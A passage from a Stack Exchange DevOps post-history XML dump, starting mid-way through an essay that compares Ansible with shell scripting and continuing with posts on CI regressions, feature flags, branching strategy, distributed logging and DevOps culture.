corresponding *yum* invocation found in a shell-script? Furthermore, anybody who had contact to AppleScript dies laughing when they read “human readable automation”.&#xD;&#xA;&#xD;&#xA;1.2 No special coding skills required – What is coding if not writing formal specifications? They have conditionals, variables, so, how is it not coding? And why would I need something I cannot program, that would henceforth be inflexible? The statement is happily inaccurate!&#xD;&#xA;&#xD;&#xA;1.3 Tasks executed in order – Well, maybe some [codegolf aficionados](http://codegolf.stackexchange.com) are aware of languages that execute tasks in disorder, but executing tasks in order hardly looks exceptional.&#xD;&#xA;&#xD;&#xA;1.4 Get productive quickly – Skilled shell programmers are productive now. This counter-argument is just as serious as the initial argument.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### 2. Ansible is powerful&#xD;&#xA;&#xD;&#xA;A popular salesman trick to sell artefacts is to fool people into believing they will acquire the “power” of these artefacts. The history of advertisement for cars or isotonic drinks should supply a convincing list of examples.&#xD;&#xA;&#xD;&#xA;Here Ansible can do “app deployment” – but shell script surely do, “configuration management” but this is a mere statement of the purpose of the tool, not a feature, and “workflow orchestration” which looks a bit pretentious but no example goes beyond what [GNU Parallel](https://www.gnu.org/software/parallel/man.html) can do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### 3. Ansible is agentless&#xD;&#xA;&#xD;&#xA;To populate the column, they wrote in three different manners that this only needs *ssh,* which, as everybody knows is a *daemon* and has nothing to do with these *agents* pervading the world configuration management!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### The rest of the video&#xD;&#xA;&#xD;&#xA;The rest of the video introduces inventories, which are static lists of resources (like servers) and demonstrates how to deploy Apache on three servers simultaneously.  This really does not match the way I work, where resources are highly dynamic and can be enumerated by command-line tooling provided by my cloud provider, and consumed by my shell functions using the pipe `|` operator.  Also, I do not deploy Apache on three servers simultaneously, rather, I build a master instance image that I then use to start 3 instances which are exact replicas one of the other. So the “orchestrating” part of the argumentation does not look very pertinent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Random documentation step 1: Integration with EC2&#xD;&#xA;&#xD;&#xA;EC2 is the computing service from Amazon, interacting with it is supported by some [Ansible module](http://docs.ansible.com/ansible/guide_aws.html). (Other popular cloud computing providers are also provided):&#xD;&#xA;&#xD;&#xA;    # demo_setup.yml&#xD;&#xA;    &#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      gather_facts: False&#xD;&#xA;    &#xD;&#xA;      tasks:&#xD;&#xA;    &#xD;&#xA;        - name: Provision a set of instances&#xD;&#xA;          ec2:&#xD;&#xA;             key_name: my_key&#xD;&#xA;             group: test&#xD;&#xA;             instance_type: t2.micro&#xD;&#xA;             image: &quot;{{ ami_id }}&quot;&#xD;&#xA;             wait: true&#xD;&#xA;             exact_count: 5&#xD;&#xA;             count_tag:&#xD;&#xA;                Name: Demo&#xD;&#xA;             instance_tags:&#xD;&#xA;                Name: Demo&#xD;&#xA;          register: ec2&#xD;&#xA;&#xD;&#xA;The corresponding shell-script would be essentially identical with YAML replaced by JSON:&#xD;&#xA;&#xD;&#xA;    provision_a_set_of_instances()&#xD;&#xA;    {&#xD;&#xA;      aws --output=text ec2 run-instances --image-id …   &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;or the JSON version&#xD;&#xA;&#xD;&#xA;    provision_a_set_of_instances()&#xD;&#xA;    {&#xD;&#xA;      aws --output=text ec2 run-instances --cli-input-json &quot;$(provision_a_set_of_instances__json)&quot;  &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    provision_a_set_of_instances__json()&#xD;&#xA;    {&#xD;&#xA;      cat &lt;&lt;EOF&#xD;&#xA;    {&#xD;&#xA;        &quot;ImageId&quot;: … &#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Both version are essentially identical, the bulk of the payload is the enumeration of the initialisation values in a YAML or JSON structures.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Random documentation step 2: Continuous Delivery and Rolling Upgrades&#xD;&#xA;&#xD;&#xA;The largest part of [this guide](http://docs.ansible.com/ansible/guide_rolling_upgrade.html) does not display any really interesting feature: it introduces variables (IIRC, shell scripts also have variables)!, and an Ansible module handles mysql, so that if instead of searching after “how do I create a mysql user with privileges on X Y” and end with something like&#xD;&#xA;&#xD;&#xA;    # Create Application DB User&#xD;&#xA;    mysql --host &quot;${mysql_host}&quot; --user &quot;${mysql_user}&quot; --password &quot;${mysql_password}&quot; &quot;${mysql_table}&quot; &lt;&lt;EOF&#xD;&#xA;    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;you search after “how do I create a mysql user with privileges on X Y in *ansible*”  and end up with &#xD;&#xA;&#xD;&#xA;    - name: Create Application DB User&#xD;&#xA;      mysql_user: name={{ dbuser }} password={{ upassword }}&#xD;&#xA;                  priv=*.*:ALL host='%' state=present&#xD;&#xA;&#xD;&#xA;The difference is still probably not very meaningful. On that page we also discover that Ansible has a template meta-Programming language&#xD;&#xA;&#xD;&#xA;    {% for host in groups['monitoring'] %}&#xD;&#xA;    -A INPUT -p tcp -s {{ hostvars[host].ansible_default_ipv4.address }} --dport 5666 -j ACCEPT&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;When I see this, I happen to really be in my comfort zone. This kind of simple meta-programming for declarative languages is exactly the same theoretical paradigm as BSD Makefiles! Which I [happen to have programmed extensively](https://github.com/michipili/bsdowl) This excerpt shows us that the promise of working with YAML file is broken (so I cannot run my playbooks through a YAML parser, *e.g.*). It also shows us that Ansible must discuss the subtle art of evaluation order: we have to decide if variables are expanded at the “declarative part” of the language or at the “imperative” meta-part of the language. Here shell programming is simpler, there is no meta-programming, aside from *explicit* `eval` or external-script sourcing.  The hypothetical equivalent shell excerpt would be&#xD;&#xA;&#xD;&#xA;    enumerate_group 'monitoring' | {&#xD;&#xA;      while read host; do&#xD;&#xA;        …&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;whose complexity in comparison to the Ansible variant is probably tolerable: it just uses the plain, regular, boring constructs from the language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Random documentation step 3: Testing strategies&#xD;&#xA;&#xD;&#xA;Last, [we meet what turns out to be the first actually interesting feature](http://docs.ansible.com/ansible/test_strategies.html) of Ansible: “Ansible resources are models of desired-state. As such, it should not be necessary to test that services are started, packages are installed, or other such things. Ansible is the system that will ensure these things are declaratively true. Instead, assert these things in your playbooks.” Now it starts to be a bit interesting, but:&#xD;&#xA;&#xD;&#xA;1. Aside from a handful of standard situations readily implemented by available modules, I will have to feed the bits implementing the test myself, which will quite probably involve some shell commands.&#xD;&#xA;&#xD;&#xA;2. Checking for the conformity of installations might not be very relevant in the context where the immutable server pattern is implemented: where all systems running are typically spawned from a master image (instance image or docker image for instance) and never updated – they are replaced by new instead.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Unaddressed concern: the maintainability&#xD;&#xA;&#xD;&#xA;The introductory material [from Ansible](http://docs.ansible.com/ansible/) ignores the question of the maintainability.  With essentially no type system, shell-scripting has the maintainability ease of JavaScript, Lisp or Python: extensive refactorings can only be achieved successfully with the help of an extensive automated testsuite – or at least designs that allows easy interactive testing. That said, while shell scripting is the [lingua franca](https://en.wikipedia.org/wiki/Mediterranean_Lingua_Franca) from system configuration and maintenance, nearly each programming language has an interface to the shell. It is therefore totally feasible to leverage the maintainability advantage of advanced languages, by using them to glue together the various the bits of shell-configuration bits. For OCaml, I wrote [Rashell](https://github.com/michipili/rashell) that essentially provides a hand of common interaction patterns for subprocesses, which makes the translation of configuration scripts to OCaml essentially trivial.&#xD;&#xA;&#xD;&#xA;On the side from Ansible, the very weak structure of playbooks and the presence of a meta-programming feature make the situation essentially as bad as it is for shell scripting, with the minus points that it is not obvious how to write unit tests for Ansible, and the argument of introducing ad-hoc a higher-level language cannot be mimiced.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Idempotency of configuration steps&#xD;&#xA;&#xD;&#xA;The documentation of Ansible draws the attention on the necessity of writing idempotent configuration steps. More precisely, configuration steps should be written so that the step sequence *a b a* can be simplified to *a b*, i.e. we do not need to repeat configuration step. This is a stronger condition than idempotency. Since Ansible allows playbooks to use arbitrary shell commands, Ansible itself is unable to guarantee that this stronger condition is respected. This only relies on the programmer's discipline." ContentLicense="CC BY-SA 3.0" />
  <row Id="1219" PostHistoryTypeId="5" PostId="352" RevisionGUID="166867f6-a370-4a95-b5ba-db574e436e76" CreationDate="2017-03-07T00:54:09.687" UserId="222" Comment="punctuation, capitalization and formatting" Text="There are of course several pro and cons for each of Puppet, Ansible, Chef and *add your favorite tool here* as well. So I'll try to stay away from opinion, and share what is great in Ansible as a matter of fact.&#xD;&#xA;&#xD;&#xA;The main capability that puts Ansible above the others is not having to rely on some custom/additional agent running on the target nodes, instead being founded on ssh connections only. Yes, it still requires an ssh server, Python and a bunch of Python libraries on the nodes, and if your distro of choice (or, good luck, there are some windows nodes) does not ship with them, it will be a little bit painful to bootstrap. But that's unlikely, and may well even make you think again about your distro.&#xD;&#xA;&#xD;&#xA;That will simplify monitoring, not eat additional resources, not force the system to run a daemon as root all the time, and in general feels better inside the UNIX philosophy. Chef has `chef-solo`, Puppet can be run master-less, but they both work &quot;the other direction,&quot; by cloning and via hooks respectively. While with Ansible, a merge in the source repository can trigger the deployment in a fashion we all are comfortable with, be it in Jenkins, in the git master, or in some other tool like Rundeck for instance." ContentLicense="CC BY-SA 3.0" />
  <row Id="1220" PostHistoryTypeId="24" PostId="352" RevisionGUID="166867f6-a370-4a95-b5ba-db574e436e76" CreationDate="2017-03-07T00:54:09.687" Comment="Proposed by 222 approved by 40, 228 edit id of 122" ContentLicense="CC BY-SA 3.0" />
  <row Id="1221" PostHistoryTypeId="2" PostId="398" RevisionGUID="4cbd13f6-0e78-4ed8-81dc-1246b37b5086" CreationDate="2017-03-07T03:29:05.353" UserId="47" Text="In a CI context one of the commonly-used measures of increasing the quality levels of the integration branch is a mandatory set of pre-commit quality verifications (typically including building some artifacts, performing unit tests and even some feature/integration tests).&#xD;&#xA;&#xD;&#xA;Yet some regressions (build breakages, various test failures) are detected by the CI system verifications in exactly the areas which were supposed to be covered by these mandatory pre-commit verifications.&#xD;&#xA;&#xD;&#xA;During analysis of these regressions an argument often heard is that the developer who committed the change identified as root-cause of the regression has successfully passed all such verifications. And often the claim is supported by hard evidence indicating that:&#xD;&#xA;&#xD;&#xA;- after the final version of the change was reached it was ported to a fresh workspace based on the tip of the branch&#xD;&#xA;- the required artifacts were built from scratch (so the build was totally fine, no cache-related issues, etc.)&#xD;&#xA;- all mandatory tests passed, including those covering the area in question and should have detected the regression&#xD;&#xA;- no intermittent false-positives affected the respective verifications&#xD;&#xA;- no file merges were detected when committing the change to the branch&#xD;&#xA;- none of the files being modified was touched by any other change committed in the branch since the fresh workspace was pulled&#xD;&#xA;&#xD;&#xA;Is it really possible for a software change to cause such a regression despite correctly following all the prescribed processes and practices? How?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1222" PostHistoryTypeId="1" PostId="398" RevisionGUID="4cbd13f6-0e78-4ed8-81dc-1246b37b5086" CreationDate="2017-03-07T03:29:05.353" UserId="47" Text="How can successfully pre-verified changes cause regressions which should have been caught?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1223" PostHistoryTypeId="3" PostId="398" RevisionGUID="4cbd13f6-0e78-4ed8-81dc-1246b37b5086" CreationDate="2017-03-07T03:29:05.353" UserId="47" Text="&lt;continuous-integration&gt;&lt;regression&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1224" PostHistoryTypeId="2" PostId="399" RevisionGUID="11e24e5c-71c5-4bdc-8684-d15ed19c5f54" CreationDate="2017-03-07T04:22:22.877" UserId="588" Text="I would add that a toggle is on/off (show ads on the site, don't show ads) and perhaps augmented by a flag like (West Coast gets ads from provider A, East Coast gets ads from provider B).  Toggling turns off all ads.  A feature flag might be able to switch from provider A to provider C.&#xD;&#xA;&#xD;&#xA;I also think a key part is deciding how your switches and settings work - do you have to roll out a new build?  or can your control tower determine east coast/west coast and answer &quot;which provider&quot; all on the fly with an easy, almost foolproof interface." ContentLicense="CC BY-SA 3.0" />
  <row Id="1225" PostHistoryTypeId="2" PostId="400" RevisionGUID="17cef948-54dd-4c9d-88e5-deb493638028" CreationDate="2017-03-07T04:34:08.570" UserId="588" Text="In an ideal world I think you roll out a new build and surprise! NOTHING changes.  This is because all of your new features are behind switches that go out with the switch off.&#xD;&#xA;&#xD;&#xA;Post-deployment you verify that your rolled-out service still works, the phones are ringing any more (unless ringing phones is your purpose, that is), etc.  Once you are back to a known stable operation you begin enabling your features.&#xD;&#xA;&#xD;&#xA;Now for your answer:  How would you like to work on a team where being on call is practically a no-brainer and our users love us because our sites and services are rock solid stable?&#xD;&#xA;&#xD;&#xA;That's the team I want to work on.&#xD;&#xA;&#xD;&#xA;You can stop reading here if you want.&#xD;&#xA;&#xD;&#xA;Putting everything behind a feature switch seems like it can lead to spaghetti code everywhere.  If you use IoC and are able to select between vNow/vNext/vPrevious then it comes down to maintaining your configuration.  Yes more check ins, yes more classes (componentV1, componentV2, componentV3, etc.) but you actually have a more stable system?  How?  vNext is wonky?  Switch back to vNow with your control tower.  Been a week and vNow has a subtle bug?  Same thing - go back to vPrevious just as easily.&#xD;&#xA;&#xD;&#xA;No hassle, no worries, no lost sleep, no stress.&#xD;&#xA;&#xD;&#xA;This isn't a pipe dream.  I used to work there.  Wish I could sell this to my current team." ContentLicense="CC BY-SA 3.0" />
  <row Id="1226" PostHistoryTypeId="2" PostId="401" RevisionGUID="eb96198a-b407-47ad-b7de-8c436873b868" CreationDate="2017-03-07T04:46:08.600" UserId="588" Text="Automation and DevOps are unrelated.  DevOps is more like combined engineering where the Developers of a site or service are all the Operators of that site or service.  Why is this novel?  In my experience the first thing the Ops team did when anything more exciting than a network blip happened was to call the Dev team.  Why did they do that?  Because all the Ops team did was monitor and keep a list of dev phone numbers to call.&#xD;&#xA;&#xD;&#xA;Notice I've said nothing about automation.&#xD;&#xA;&#xD;&#xA;Automation is about repeating success.  If I do steps a,b and c and process X always works, then steps a, b and c are good candidates for automation.  Then I can use the time for what used to be a manual process to do things that make me more money.  Automation is successful when it's simple.  Deploying new releases, running integration tests, torquing a nut on a bolt, backing up data, balancing credits vs. debits, etc. are all great candidates for automation because the steps are repeated whether by a person or a robot. " ContentLicense="CC BY-SA 3.0" />
  <row Id="1227" PostHistoryTypeId="5" PostId="400" RevisionGUID="7ebaa17f-d114-4f7c-9a34-239aeaa2f568" CreationDate="2017-03-07T04:49:17.853" UserId="588" Comment="typo corrected in my own post" Text="In an ideal world I think you roll out a new build and surprise! NOTHING changes.  This is because all of your new features are behind switches that go out with the switch off.&#xD;&#xA;&#xD;&#xA;Post-deployment you verify that your rolled-out service still works, the phones aren't ringing any more (unless ringing phones is your purpose, that is), etc.  Once you are back to a known stable operation you begin enabling your features.&#xD;&#xA;&#xD;&#xA;Now for your answer:  How would you like to work on a team where being on call is practically a no-brainer and our users love us because our sites and services are rock solid stable?&#xD;&#xA;&#xD;&#xA;That's the team I want to work on.&#xD;&#xA;&#xD;&#xA;You can stop reading here if you want.&#xD;&#xA;&#xD;&#xA;Putting everything behind a feature switch seems like it can lead to spaghetti code everywhere.  If you use IoC and are able to select between vNow/vNext/vPrevious then it comes down to maintaining your configuration.  Yes more check ins, yes more classes (componentV1, componentV2, componentV3, etc.) but you actually have a more stable system?  How?  vNext is wonky?  Switch back to vNow with your control tower.  Been a week and vNow has a subtle bug?  Same thing - go back to vPrevious just as easily.&#xD;&#xA;&#xD;&#xA;No hassle, no worries, no lost sleep, no stress.&#xD;&#xA;&#xD;&#xA;This isn't a pipe dream.  I used to work there.  Wish I could sell this to my current team." ContentLicense="CC BY-SA 3.0" />
  <row Id="1228" PostHistoryTypeId="2" PostId="402" RevisionGUID="4f8ba9b1-0af6-4e5f-a8a8-f444b1055804" CreationDate="2017-03-07T04:54:28.117" UserId="588" Text="Sure it is.  Production is always different.  Real money.  Real load.  Real users.  Real pain.  This is why it is so important to put any significant change behind a feature flag.  Your deployment should not change anything.  Turning on a feature is the only thing that should make significant changes to your site." ContentLicense="CC BY-SA 3.0" />
  <row Id="1229" PostHistoryTypeId="2" PostId="403" RevisionGUID="12187ea6-dda5-4bf5-8892-bdae585b3de2" CreationDate="2017-03-07T06:05:20.610" UserId="228" Text="Branching strategy is a very clearly a business decision in which the DevOps engineer should be the primary expert, explaining all the trade offs. There are some strong positions on this issue in the community, very clearly Jez Humble is on one side with his book of Continuous Delivery. You could see him talking about it [here][1]. Here would be a [video][2] by panel of experts on the topic. And here is my highly up-voted [answer][3] on StackOverflow specifically on topic of feature branches. So clearly this is a big topic for DevOps.&#xD;&#xA;&#xD;&#xA;One thing that people often say (Jez Humble mostly) is that feature branches are evil. You will need a (n-1)(n-2)/2 merges *[combination number n-1 over 2]* for n independent feature branches. Which comes to some very high numbers at 10+ feature branches. And because merging is hard and no publicly available version control systems do it will, then the entire Software Industry is moving away from software releases and software on premises to Software as a Service, where the only way is forward and software is both developed and maintained for you by the vendor.&#xD;&#xA;&#xD;&#xA;As far as I know, there is only one company that can do high quality, business critical software on premises, with maintaining 10+ years of past major releases, back-porting patches through multiple waves of code refactoring and capable of working regularly on dozens of major feature branches per release and thousands small features developed on their individual feature branches and being continually merged as full features and not individual commits. The code has also been released on 14 different architectures. That company is Oracle, the product is RDBMS and they have been practicing what is now called DevOps since at least 1990. Hundreds of code deployments a day back in 2001 would be pretty standard. The reason why they are able to do it is through rigorous coding standards, invariant test suite and a proprietary version control system I've spent 10+ years of my life developing. A system that can do 99% of all merges through automation.&#xD;&#xA;&#xD;&#xA;Everyone else pretty much only patches the most recent major release version past a certain stage/size of a project or it takes extreme amounts of human resources to merge all the patches to all the possible release versions and extreme amounts of human or compute resources to test them all. For example in Linux kernel you would have a maintainer for X.odd development version and later stability branch maintainer for X.even version, but you would see not patches for X-1.Y versions. Sometimes Linux distributions would maintain kernel version in their LTS release, but only at high cost and with varying code quality among distributions. And that is a high visibility project with enormous resources poured into it. &#xD;&#xA;&#xD;&#xA;The primary reasons for this discrepancy are differences in:&#xD;&#xA;&#xD;&#xA; 1. Adherence to Coding Standards and Code Styles&#xD;&#xA; 2. Complete coverage by invariant test suite, which can catch bugs for which no tests were written specifically.&#xD;&#xA; 3. Version Control System capable of high levels of Automation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=ZLBhVEo1OG4&#xD;&#xA;  [2]: https://www.youtube.com/watch?v=30yN4hefrt0&#xD;&#xA;  [3]: http://stackoverflow.com/questions/597707/best-branching-strategy-when-doing-continuous-integration/605337#605337" ContentLicense="CC BY-SA 3.0" />
  <row Id="1230" PostHistoryTypeId="2" PostId="404" RevisionGUID="90f275a6-39cd-419b-bce2-6c325f113322" CreationDate="2017-03-07T06:26:34.373" UserId="46" Text="I have the following setting:&#xD;&#xA;&#xD;&#xA;&gt; Create multiple slaves, do a computation  and terminate them after the&#xD;&#xA;&gt; computation is done.&#xD;&#xA;&#xD;&#xA;So, every-time it’ll be a different instance, so each host having a log file of it’s own, will result in a huge list of files.  &#xD;&#xA;&#xD;&#xA;If it a good practice? If no, then what would be a better practice for logging in this particular use-case?&#xD;&#xA;&#xD;&#xA;PS: My infra. is serverless. So, for now, I am logging to (AWS)CloudWatch. But, please answer the question independent of AWS, and more suiting a serverless setup." ContentLicense="CC BY-SA 3.0" />
  <row Id="1231" PostHistoryTypeId="1" PostId="404" RevisionGUID="90f275a6-39cd-419b-bce2-6c325f113322" CreationDate="2017-03-07T06:26:34.373" UserId="46" Text="What is a good logging practice for distributed hosts?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1232" PostHistoryTypeId="3" PostId="404" RevisionGUID="90f275a6-39cd-419b-bce2-6c325f113322" CreationDate="2017-03-07T06:26:34.373" UserId="46" Text="&lt;serverless&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1233" PostHistoryTypeId="5" PostId="354" RevisionGUID="3a0afb42-586e-4dd7-8df8-294f0c23ee20" CreationDate="2017-03-07T06:41:53.580" UserId="588" Comment="typo in fasination word" Text="It is a fascinating question for which real answers may not actually exist; I appreciate that while you tried to keep the question contextualized on the VCS, it naturally scaled by itself up to infrastructure design and implementation planning.&#xD;&#xA;&#xD;&#xA;Though, it seems many of us are working of this kind of transitioning, which can be exciting, but at the same time so frustrating and painful; and I would like to share my experiences and views, trying not to be pedantic, and just because I may not be such a good engineer, also not to be boring.&#xD;&#xA;&#xD;&#xA;*Design*&#xD;&#xA;&#xD;&#xA;Infrastructure and architecture should go together to write a modern software. Tightly coupled, if you want. It might sounds weird to use those words, but we are not certainly talking about code itself here: I mean they must be part of the same blueprint. When the clouds arrived, and people started to write software for them, how many people then realized that by putting the mudballs there, they just would be the same mudballs in a different place(?) Maybe a few forward thinking people could foresee that, and they are likely working in devops today. As devops is just a buzzword with so many differnt meanings for differnt people, I have seen places in which the devops team would sit in every architecture meeting; other places in which is automation only.  To achieve this kind of transformation, we have to fight our way to sit there.&#xD;&#xA;&#xD;&#xA;*Confidence*&#xD;&#xA;&#xD;&#xA;The transition must be kept isolated, in the sense that a consistent cut of history must exist, that provides the transition itself and itself only, without any other change (after several months of preparation). With what confidence one would approve it and push the red button?&#xD;&#xA;&#xD;&#xA;I mean the codebase must change to accommodate the new VCS structure, and it will be very difficult to keep it merged during development. (for this issue there may be facilitating strategies, I'll talk about a common one later, that can help parallelize development a bit).&#xD;&#xA; &#xD;&#xA;Well I bet the only way is with behavioural testing, and the same suite of behaviour tests should be launched to verify the old with new codebase. We are not verifying the application behaves as expected here, but that the transition does not alter the behaviour. Having failing tests may be a good thing! If they continue to fail!&#xD;&#xA;&#xD;&#xA;In fact it is very uncommon for mudballs to be well tested; usually the code is very tightly coupled, and likely, for most legacy code, it was not developed with a test driven approach, not even unit tests.&#xD;&#xA;&#xD;&#xA;If such test code is missing whatsoever, it shall be written first.&#xD;&#xA;&#xD;&#xA;*Strategy*&#xD;&#xA;&#xD;&#xA;Yes, the transition must be kept isolated; but at the same time integrated. I know I may sound crazy here, but I wouldn't find other words to describe how confidence can keep up to business. Very few, if none at all, companies would like to stop development for a big monolithic codebase, to make space for this transition, and we are not making it just happen within a toss of a coin. Maybe hundreds of developers might be continuously contributing to the codebase (I would use the *tampering* word here, from our POV). While our work must address a specific snapshot to provide confidence, we have to keep ourselves rebased (not in a git meaning here), to avoid to fall behind forever. &#xD;&#xA;&#xD;&#xA;The implementation strategy in here can give different experiences. A common line of development is to wrap/adapt (exposing endpoints with optionally rearranged schemes) newer implementation branches (well, living in other repositories in this case), when they need to interact with the core. Transitioning with a strategy like this, along with refactoring, can at the same time offer a POC scenario for the VCS transition, and later on a step by step approach. See it like sculpting the ball of mud. Yeah life offers so many funnier things.&#xD;&#xA;&#xD;&#xA;*Technical Debt* &#xD;&#xA;&#xD;&#xA;Business management spheres started to understand technical debt and keep it into consideration. Nope, scratch that, not true. While is it increasingly common to gather measurements and quality data, in terms of static code analysis, code reviewing, behavioural test results, and performance, and generate nice reports and everything... it still remains incredibly difficult to make the business accept a continuous refactoring approach. The *business value* of it. *&quot;We are following an agile process, and this will not bring in any enhancement to the features, wouldn't it?&quot;*. Basically, by doing so they are negating the existence of technical debt.&#xD;&#xA;I see this as the common missing necessary step to be able to start any transition from monolith to microservices architectures.&#xD;&#xA;&#xD;&#xA;*Reaggregation*&#xD;&#xA;&#xD;&#xA;After all this, you might still want to provide a single repository-like view in which you can build more than one single product. For any reason, ie curr/next release, multibrand, customer builds. Tools like google repo may help in this case. Never used one myself, but I know I'll need one day.&#xD;&#xA;&#xD;&#xA;*Integration testing*&#xD;&#xA;&#xD;&#xA;With microservices, integration testing assumes a different context, of &quot;testing own API&quot;. Higher layers of testing, functional or performance, can and will exists, but do they mean much without proper integration testing? &#xD;&#xA;It would be like having integration testing without unit testing. Of course not. That's why, if you need to git bisect, you will execute it in a microservice repository branch, forget about running that in the mudball repository. &#xD;&#xA;&#xD;&#xA;PS. this is a draft, my English is bad and I'll fix it one day " ContentLicense="CC BY-SA 3.0" />
  <row Id="1234" PostHistoryTypeId="24" PostId="354" RevisionGUID="3a0afb42-586e-4dd7-8df8-294f0c23ee20" CreationDate="2017-03-07T06:41:53.580" Comment="Proposed by 588 approved by 228, 6 edit id of 123" ContentLicense="CC BY-SA 3.0" />
  <row Id="1235" PostHistoryTypeId="6" PostId="12" RevisionGUID="b25420c8-327c-4ee9-b256-7a468499cf34" CreationDate="2017-03-07T06:42:23.600" UserId="47" Comment="added relevant tag" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;git&gt;&lt;linux&gt;&lt;scm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1236" PostHistoryTypeId="24" PostId="12" RevisionGUID="b25420c8-327c-4ee9-b256-7a468499cf34" CreationDate="2017-03-07T06:42:23.600" Comment="Proposed by 47 approved by 228, 6 edit id of 124" ContentLicense="CC BY-SA 3.0" />
  <row Id="1237" PostHistoryTypeId="5" PostId="388" RevisionGUID="634fb474-dcb2-47d5-a869-ee235a8f3c14" CreationDate="2017-03-07T06:42:37.223" UserId="31" Comment="added 88 characters in body" Text="The Phoenix Project is a DevOps business novel by Gene Kim, Kevin Behr, George Spafford." ContentLicense="CC BY-SA 3.0" />
  <row Id="1238" PostHistoryTypeId="24" PostId="388" RevisionGUID="634fb474-dcb2-47d5-a869-ee235a8f3c14" CreationDate="2017-03-07T06:42:37.223" Comment="Proposed by 31 approved by 246, 6 edit id of 114" ContentLicense="CC BY-SA 3.0" />
  <row Id="1239" PostHistoryTypeId="5" PostId="249" RevisionGUID="a73ea12b-ac88-422b-8512-d25e0b37593f" CreationDate="2017-03-07T06:42:49.337" UserId="14" Comment="Remove plagiarism from https://kasturiemasrevo.wordpress.com/2016/11/09/amazon-web-services-do-you-have-use-it/" Text="Amazon offers many different services, but the most popular (related to DevOps) are:&#xD;&#xA;&#xD;&#xA; - [tag:amazon-s3] Simple Storage Service&#xD;&#xA; - [tag:amazon-sqs] Simple Queue Service&#xD;&#xA; - [tag:amazon-ec2] Elastic Compute Cloud&#xD;&#xA; - [tag:amazon-ecs] EC2 Container Service&#xD;&#xA; - [tag:amazon-lambda]&#xD;&#xA; - Amazon CodePipeline&#xD;&#xA; - Amazon CodeBuild&#xD;&#xA; - [tag:aws-codedeploy]&#xD;&#xA; - [tag:aws-codewatch]&#xD;&#xA; - Amazon OpsWorks&#xD;&#xA; - Amazon CloudFormation&#xD;&#xA; - Amazon CloudTrail&#xD;&#xA; - [tag:aws-cloudwatch]&#xD;&#xA; &#xD;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;Use this tag for questions about Amazon Web Services in general. For questions about a specific Amazon web service please try to use a more specific tag (if that's available). &#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1240" PostHistoryTypeId="24" PostId="249" RevisionGUID="a73ea12b-ac88-422b-8512-d25e0b37593f" CreationDate="2017-03-07T06:42:49.337" Comment="Proposed by 14 approved by 6 edit id of 116" ContentLicense="CC BY-SA 3.0" />
  <row Id="1241" PostHistoryTypeId="2" PostId="405" RevisionGUID="0f7592de-4761-48d2-91c6-cedf3d00fa8d" CreationDate="2017-03-07T07:03:27.673" UserId="6" Text="Hackathons are a great way to promote people to share knowledge, collaborate, and share risk and responsibility. The traditional (non-devops) organization is often power-centric and promotes people to avoid talking directly to each other. Allowing people to only communicate to each other via their managers. This type of culture in organizations is sub-optimal for good performance, which is what DevOps all about.&#xD;&#xA;&#xD;&#xA;The term 'power-centric' and 'generative' culture come from the [R. Westrum model on how you can measure culture][1]. The article presents a way to determine which culture your organization has, and what are the pros &amp; cons of each type of culture (there are just three types).&#xD;&#xA;&#xD;&#xA;The Westrum model has been heavily quoted both in the [2016 State of DevOps Report][2], and in DevOps Enterprise forum guidance materials.&#xD;&#xA;&#xD;&#xA;The [PuppetLabs State of DevOps Report][2] is a survey of more than 25k technical professionals. They were asked questions about various aspects related to DevOps. The section on &quot;Lean Product Management&quot;, and the section on &quot;Organizational Culture and Identity&quot; specifically quote the Westrum model. Using it to explain how better culture is a key factor in better organizational performance.&#xD;&#xA;&#xD;&#xA;The paper on [Metrics for DevOps Initiatives][3] at the [DevOps Enterprise Forum Guidance][4] explains how to *measure culture* using the Westrum model, and what organizational performance can be expected from it.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Key messages from the Westrum model:&#xD;&#xA;&gt; * To be able to work with and understand organisational culture, we need a typology of organisational environments.&#xD;&#xA;&gt; * Information processing style is a useful focus for such a typology, because information is important directly and is correlated with other features of the organisation’s culture.&#xD;&#xA;&gt; * Three typical styles of information processing are pathological, bureaucratic, and generative.&#xD;&#xA;&gt; * These styles are shaped by leaders’ preoccupations, including focus on personal needs, bureaucratic objectives, and the organisation’s mission.&#xD;&#xA;&gt; * These styles are associated with different responses to signs of trouble and opportunities for innovation.&#xD;&#xA;&gt; * Culture is mutable. With new leadership, an environment with one kind of culture can change into another.&#xD;&#xA;&#xD;&#xA;Implications of Westrum model to clinical practice, most of which apply directly to IT organizations:&#xD;&#xA;&gt; * Leadership in the medical unit shapes the culture, which shapes the information flow.&#xD;&#xA;&gt; * Good information flow and processing has important effects on patient safety.&#xD;&#xA;&gt; * In particular, an open and generative culture will mean better uptake of innovations and better response to danger signals.&#xD;&#xA;&gt; * A generative culture requires that alignment, awareness, and empowerment replace suspicion, 